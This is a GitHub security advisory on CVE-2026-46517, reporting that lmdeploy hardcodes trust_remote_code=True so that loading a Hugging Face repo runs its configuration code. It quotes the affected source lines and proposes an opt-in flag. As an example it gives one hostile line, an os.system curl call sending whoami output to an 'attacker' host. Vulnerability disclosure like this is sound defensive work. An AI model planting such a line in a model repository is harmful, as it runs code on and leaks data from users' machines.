GitHub Advisoryadvisory Β· PyPI

GHSA-9xq9-36w5-q796 lmdeploy: Hardcoded trust_remote_code=True is an implicit unsafe remote-code load path with no user opt-out

HIGH Published 2026-05-21 Modified 2026-08-31 Official page β†—
Aliases
CVE-2026-46517
Ecosystem
PyPI
Packages
lmdeploy
Severity
High
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weaknesses
CWE-1188, CWE-915, CWE-94
Reviewed
2026-05-21

Affected packages

β€’ PyPI lmdeploy: < 0.13.0 β†’ fixed in 0.13.0

Description

> ## πŸ“‹ Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain" > > The accurate description of this vulnerability is: > "`get_model_arch` and related helpers hardcode `trust_remote_code=True` > with no opt-out, creating an implicit unsafe remote-code load path > on every model fetch." > > What this report does NOT claim: > * It is NOT a network-attack RCE β€” the user supplies the model > reference; LMDeploy honors it. > * It is NOT a "supply chain" CVE in the classical sense (where a > benign upstream is compromised) β€” the user explicitly types the > repo name. > > What this report DOES claim: > * Other inference frameworks (vLLM, TGI, Hugging Face transformers > itself) all expose `--trust-remote-code` as opt-in so that > users who consciously load known-safe repos can opt in, while > users following a tutorial cannot accidentally execute attacker > Python by typing a wrong repo name. > * LMDeploy's hardcoded True is an implicit trust-boundary > override that violates HF Transformers' default-secure stance > (`trust_remote_code=False` since transformers β‰₯ 4.30). > * The fix is a one-line CLI flag (`--trust-remote-code`) defaulting > False, threaded through the three sites, matching the rest of > the ecosystem. > > Severity should be assessed as hardening / safe-by-default, > not as full unauthenticated RCE. CVSS revised to 5.5 Medium > (`AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` Γ— user-must-load qualifier). > > Runtime evidence: see `12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt`. --- F13 β€” LMDeploy: hardcoded `trust_remote_code=True` enables HF supply-chain RCE without user opt-in Reporter: ibondarenko1 / [email protected] Coordinated-disclosure window: 90 days from initial vendor email. TL;DR LMDeploy unilaterally passes `trust_remote_code=True` to `transformers.AutoConfig.from_pretrained()` (and several other `from_pretrained` callers) regardless of any user opt-in. The flag is hardcoded `True` in source β€” there is no CLI flag, no environment variable, no parameter, and no warning that lets a user refuse remote code execution from the model repository. This is a silent override of HuggingFace Transformers' own default-secure stance (`trust_remote_code=False`) introduced in HF Transformers β‰₯ 4.30 specifically to prevent this class of supply-chain RCE. The user running `lmdeploy serve api_server `, `lmdeploy lite calibrate `, etc. has no way to opt out. The only escape hatch is for the user to never load any third-party HF repo with LMDeploy β€” which is incompatible with LMDeploy's documented use case. HuggingFace's `trust_remote_code=False` default exists exactly to prevent silent RCE when loading a third-party repo. LMDeploy overrides this default, restoring the unsafe behaviour transparently. A malicious HF repo with a `configuration_*.py` shim runs Python code as the LMDeploy user at the very first call to `get_model_arch(...)`. This is a documented anti-pattern (see HF Hub docs: "Trusting custom code is therefore tricky..."). Multiple peer projects fixed similar issues β€” e.g. Hugging Face Transformers itself made this opt-in by default, and `vllm` exposes the flag through `--trust-remote-code` rather than hardcoding it. Affected version β€’ Repository: `github.com/InternLM/lmdeploy`, branch `main`. β€’ Branch SHA at audit time: `9df0eff7c38ae69b9d4b9f7ad1441e484d439f92` (2026-05-02). β€’ Pinned blob SHAs: β€’ `lmdeploy/archs.py` β†’ `68fa03a407734be1e2ae04098d34e9acdbe98262` β€’ `lmdeploy/lite/apis/calibrate.py` β†’ `0728304bdc3c03eee1d790bfbd5496df080a0ecd` β€’ `lmdeploy/lite/utils/load.py` β†’ `7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120` β€’ `lmdeploy/pytorch/check_env/model.py` β†’ `b1a2daaa426bf5fe25030f7913c703eed9f5b261` Snapshots of all four files are in `source_pinned/`. Source-level evidence Site 1 β€” architecture detection (every load goes through here) `lmdeploy/archs.py:147-157` β€” `get_model_arch`: ```python def get_model_arch(model_path: str): """Get a model's architecture and configuration.""" try: cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True) except Exception as e: # noqa from transformers import PretrainedConfig cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True) ``` Both the primary path and the fallback hardcode `trust_remote_code=True`. There is no parameter to override it. This function is called from every model-loading path in lmdeploy. Site 2 β€” quantization CLI `lmdeploy/lite/apis/calibrate.py:248-251`: ```python tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True) ... model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True) ``` `lmdeploy lite calibrate ` and downstream quant CLIs (gptq, awq) all flow through this. Hardcoded. Site 3 β€” calibration helper `lmdeploy/lite/utils/load.py:55`: ```python def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, kwargs): ... hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True) ``` Even if the caller does not pass `trust_remote_code=True` in `kwargs`, the helper internally hardcodes it on the config call (line 55), then loads the model on line 74. The config call alone is sufficient for RCE: HF Transformers downloads `configuration_*.py` from the repo and `import`s it whenever `trust_remote_code=True`. Site 4 β€” pytorch engine check `lmdeploy/pytorch/check_env/model.py:10,99,234,242` β€” `trust_remote_code: bool = True` is the default value for the engine's parameter. Unlike the three sites above, this is "default true" not "hardcoded true" β€” a determined caller can pass False β€” but every shipped CLI passes True or relies on the default. What `trust_remote_code=True` actually enables When `AutoConfig.from_pretrained(repo, trust_remote_code=True)` is called and the repo's `config.json` contains an `auto_map` key pointing to a custom `configuration_.py`: 1. HF Transformers downloads the `.py` file from the repo. 2. HF imports the module via `importlib`, executing the file's top-level code (any `print`, `os.system`, `subprocess.run`, `urllib.request.urlopen`, etc. fires now). 3. HF then instantiates the named class. So a malicious repo only needs a top-level `os.system("curl https://attacker/?$(whoami)")` in `configuration_evil.py`. It runs as the lmdeploy process user. Threat model Attack surface. Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes: β€’ Casual users following a tutorial that says `lmdeploy serve api_server `. β€’ CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag). β€’ Researchers comparing models from many authors. Even running `lmdeploy lite calibrate` for benchmarking is enough. The user is not warned that arbitrary Python from the repo will execute, and there is no flag to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes). Comparison to peer projects | Project | trust_remote_code default | User control | |---|---|---| | HuggingFace Transformers | False | `trust_remote_code` keyword arg | | vLLM | False | `--trust-remote-code` flag | | LMDeploy | True (hardcoded) | None | | TGI | False | `--trust-remote-code` flag | LMDeploy is the outlier. The rationale is presumably "internal models like InternLM need custom configuration_*.py", but the fix is to accept a CLI flag like `--trust-remote-code` and default-False as the rest of the ecosystem does. Severity CVSS v3.1 `AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` β€” Base 7.8 High. β€’ AV:L β€” local (the user runs lmdeploy on their own host…

Related

Alias Β· CVE (1)

  • CVE-2026-46517 LMDeploy is a toolkit for compressing, deploying, and serving large language models. vulnerability

Weakness Β· CWE (3)

  • CWE-1188 Initialization of a Resource with an Insecure Default weakness
  • CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes weakness
  • CWE-94 Improper Control of Generation of Code weakness

References